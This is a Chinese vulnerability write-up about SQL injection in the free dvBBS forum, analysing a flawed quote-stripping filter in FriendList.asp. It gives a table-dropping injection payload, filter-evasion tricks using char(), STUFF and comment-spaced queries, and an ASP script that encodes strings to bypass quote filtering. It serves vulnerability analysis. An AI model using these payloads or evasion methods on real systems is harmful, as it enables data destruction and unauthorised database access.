免费版dvBBS漏洞分析 -电脑资料

已经有很多大虾给免费版的动网论坛打过强心剂了,小弟我发现可能还有一类漏洞逃过了大虾们的眼睛,所以出来献丑一下,

免费版dvBBS漏洞分析

。呵呵,写的匆忙,如有错误之处请指正,我的邮箱是n.e.v.e.r@tom.com。嗯,商业注册版的dvBBS我看了一下,也有一点问题,不过不太容易利用吧。

拿动网论坛中的FriendList.asp中函数delFriend()来看,中间有这么一段

delid=replace(request.form("id"),"'","")

if delid="" or isnull(delid) then

Errmsg=Errmsg+"

"+"请选择相关参数。"

founderr=true

exit sub

else

conn.execute("delete from Friend where F_username='"&trim(membername)&"' and F_id in ("&delid&")")

sucmsg=sucmsg+"

"+"

您已经删除选定的好友记录。"

call dvbbs_suc()

end if

这个过滤严格意义上来说是错误的,没有'一样的可以进行SQL Injection。

我想大约是那个经典的1' or '1'='1蒙蔽了很多人的眼睛,那条语句是这样的

"select * from user where user='" & user & "' and.........

我没有办法把user=后面的'和and前面的'用不同的颜色表示,这里只好用1和2来表示。其实这里出现SQL Injection不是简单的因为user中可以出现',而是因为user中出现的'导致了1和2不能按照作者的意思正确的配对。过

滤掉user中的'可以非常完美的解决这个问题,所以replace(user,"'","")在这里是美妙而又精辟的。

但是动网的人错解了佛法,看看这一句有问题的话后面半截是什么:

.......F_id in (" & delid & ")"

这里要配对的是左右括号!把delid中的'过滤掉是愚蠢的,因为这种过滤的方法不能保证作者预期的两个左右括号正确的配对,而且对于恶意攻击者几乎构不成什么阻拦。我们看一种可能的攻击方法

delid=.....);drop table [user];--

这个提交可以逃过过滤,但是完成了SQL注入,成功的话会顺利的删除表user。

前些日子与南阳岩冰交流时,我只是想到这种注入的方法可以修改一些整数型的数据,后来翻MSDN相关资料的时候突然发现其实不用'一样可以达到使用'的效果。

一种方法是使用char函数和连结符+,我在查询分析器中做的这些试验:

select * from sysusers where left(name,2)=char(100)+char(98)

这个返回的结果是所有以db开头的系统用户列,也就是说这是等同于下面这个查询的

select * from sysusers where left(name,2)='db'

我在《动网新漏洞和入侵一则》中贴出过一个Encode.asp,就是利用的这种方法,这里再贴出来一次,要赶论文,所以调得匆忙,如果有改进版请发给我一份

======================= Cut Here =======================

填上SQL语句!

" method="POST">

<%

LINK_CHAR = "+" '字符串连接符号是+吗?

strIn=Request("in")

strIn = strIn & "--"

strTemp = split(strIn,"'")

i = 0

'On Error Resume Next

Do while NOT IsNull(strTemp(i))

If InStr(strTemp(i),"--") Then

Exit Do

End if

i = i + 2

Loop

'response.write i

For j = 0 To i - 1 Step 2

strOut = strOut & strTemp(j)

For k = 0 To len(strTemp(j+1))-1

strOut = strOut & "char(" & asc(left(right(strTemp(j+1),len(strTemp(j+1))-k),1))&")" & LINK_CHAR

Next

strOut = left(strOut, len(strOut)-len(LINK_CHAR))

Next

If InStr(strTemp(i), "--")<>0 Then

strOut = strOut & left(strTemp(i), InStr(strTemp(i), "--") - 1)

End if

response.write strOut

%>

======================= Cut Here =======================

如果这个地方过滤掉+,还是可以的,不过方法要复杂很多,这里只给出一个例子啊,还是上面那条查询语句,这里连+都不用

select * from sysusers where left(name,2)=STUFF(replicate(char(100),2), 2, 1, char(98))

效果是一样的,

电脑资料

《免费版dvBBS漏洞分析》()。再严格一点,连空格都不用

select/**/*/**/from/**/sysusers/**/where/**/left(name,2)=STUFF(replicate(char(100),2), 2, 1, char(98))

不过这种方法的话,作为SQL Injection要提交的内容太多了,GET方式最多能提交1024字节的内容,很有可能不够,只好用POST方式了,虽然会麻烦很多。我在测试的时候,发现似乎这两种方法只对简单的select/delete/update/insert/exec有效,当使用openrowset的时候就出错了。我还在测试中,希望有大虾指点一下让我少走弯路。

相关文章

国旗下讲话

在国旗下讲话,讲些什么呢?以下是聘才小编精心整理的相关文章,希望对大家有所帮助!国旗下讲话 篇一高二(6)班 刘佳怡尊敬的老师、亲爱的同学们:大家上午好!我是来自高二(6)班的刘佳怡,今天我国旗下讲话...
资料大全2013-05-06
国旗下讲话

安胎食谱

食谱,又称菜谱,是一种教人料理食物的文件或书籍,通常是写着料理配方、料理步骤、技巧等等信息,经过科学分析,按照某一对象的类别或系统,采取表格或其他比较整齐的形式,编辑起来供人参考的,日常饮食方面的书或...
资料大全2011-03-09
安胎食谱

如何让细软的头发变勇猛

油垢吸尘器1.馥绿德雅控油清爽洗发膜 265元泥状面膜现在在男人圈里火起来,它可以大力吸走恼人的油脂,把毛孔杂物清理干净。而这款发膜,就是头发的“泥状面膜”,特别加入了一种吸油黏土,给油性头皮一次爽翻...
资料大全2012-03-04
如何让细软的头发变勇猛

财务管理规章制度

以下是小编为大家收集的制度,仅供参考!为了规范我校财务行为,加强财务管理,提高资金使用效益,促进我校事业发展,根据我校具体情况,制定本制度,财务管理规章制度。一、财务管理的基本原则、任务...
资料大全2014-03-09
财务管理规章制度

侧柏叶治疗脱发的方法有哪些

侧柏叶,就是柏树的叶子,它看似不起眼,其实还是一味药材。在中医中,侧柏叶的运用相当之广泛。它有止血、乌发和治疗脱发的作用。下面为大家带来两种侧柏叶治疗脱发的方法,让你的头发乌黑浓密起来。侧柏叶治疗脱发...
资料大全2014-01-05
侧柏叶治疗脱发的方法有哪些

写给父母的感恩信400字

父母的爱,是慈祥的微笑,像一缕春风,吹进你的心灵!父母的爱,是一句轻轻的叮咛,总使你在犯错误时勇敢去面对错误!父母的爱,是一盏指路明灯,总使你迷茫时,为你找到方向,走向光明……unjs小编为大家精心整...
资料大全2019-03-02
写给父母的感恩信400字